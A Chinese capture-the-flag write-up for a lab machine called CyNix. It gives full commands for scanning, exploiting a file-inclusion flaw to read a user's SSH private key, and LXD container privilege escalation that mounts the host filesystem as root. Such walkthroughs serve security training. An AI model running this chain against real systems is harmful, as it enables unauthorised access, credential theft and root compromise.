CyNix

主机发现

1 netdiscover -i eth0 -r 192.168.15.0/24

端口扫描

1 nmap -A -p- -sV 192.168.15.157

访问80端口

目录扫描

1 gobuster dir -u http://192.168.15.157 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

访问/lavalamp子目录

在CONCAT提交会出现一个空白框

使用burp进行流量截取

复制URL打开发现有内容被隐藏,修改数值为1.0即可显示

继续开启监听,发现参数是file,可能存在LIF漏洞

被过滤了不允许访问

加上a成功绕过

发现可登录用户ford

采用另一个端口(6688)进行ssh连接

1 ssh [email protected] -p 6688 

显示关闭了密码登录,所以需要一个私钥进行登录

补充说明:私钥一般和公钥放在一起,理论上都在用户的家目录中

复制私钥并赋予合理的权限再次进行连接

获取到第一个flag

使用LinEnum工具进行提权

链接:https://github.com/rebootuser/LinEnum

把当前目录利用python进行发布

在靶机上下载脚本,赋予执行权限后执行脚本

再次补充:
LXD、LXC 和 Docker 是三种不同的容器化技术,它们在实现和使用上有一些区别。

总结来说,LXD是基于LXC的系统级容器管理器,提供了更高级别的接口和管理工具;LXC是Linux内核提供的一种虚拟化技术,允许在单个Linux内核上运行多个隔离的用户空间实例;而Docker是基于LXC的容器化平台,提供了一套简化容器构建、分发和运行的工具和API。

LXD提权原理:LXD 是基于 LXC 容器的管理程序,当前用户可操作容器。所以用户可创建一个容器,再用容器挂载宿主机磁盘,最后使用容器权限操作宿主机磁盘内容达到提权效果。

LXD 提权条件: 已经获得 shell  用户属于 lxd 组 

查看镜像列表

1 lxc image list

按照实际情况,需要创建一个特权镜像,但往往会失败,所以这里选择在kali生成镜像,然后复制到靶机上面

先在kali上面下载alpine,然后生成镜像

链接:https://github.com/saghul/lxd-alpine-builder

发布当前目录,在靶机上进行复制

导入镜像并对其重命名

1 lxc image import alpine-v3.20-x86_64-20240531_2302.tar.gz --alias hacker

创建容器

1 lxc init hacker hacker -c security.privileged=true

将容器hacker挂载到 /mnt/root 下

1 lxc config device add hacker hacker disk source=/ path=/mnt/root recursive=true

启动容器

1 lxc start hacker

与主机进行交互

1 lxc exec hacker /bin/sh

获取到第二个flag

热门相关:腹黑boss霸宠:逃妻,吻我   重生之悠然人生   逍遥小镇长   我真是非洲酋长   神级幸运星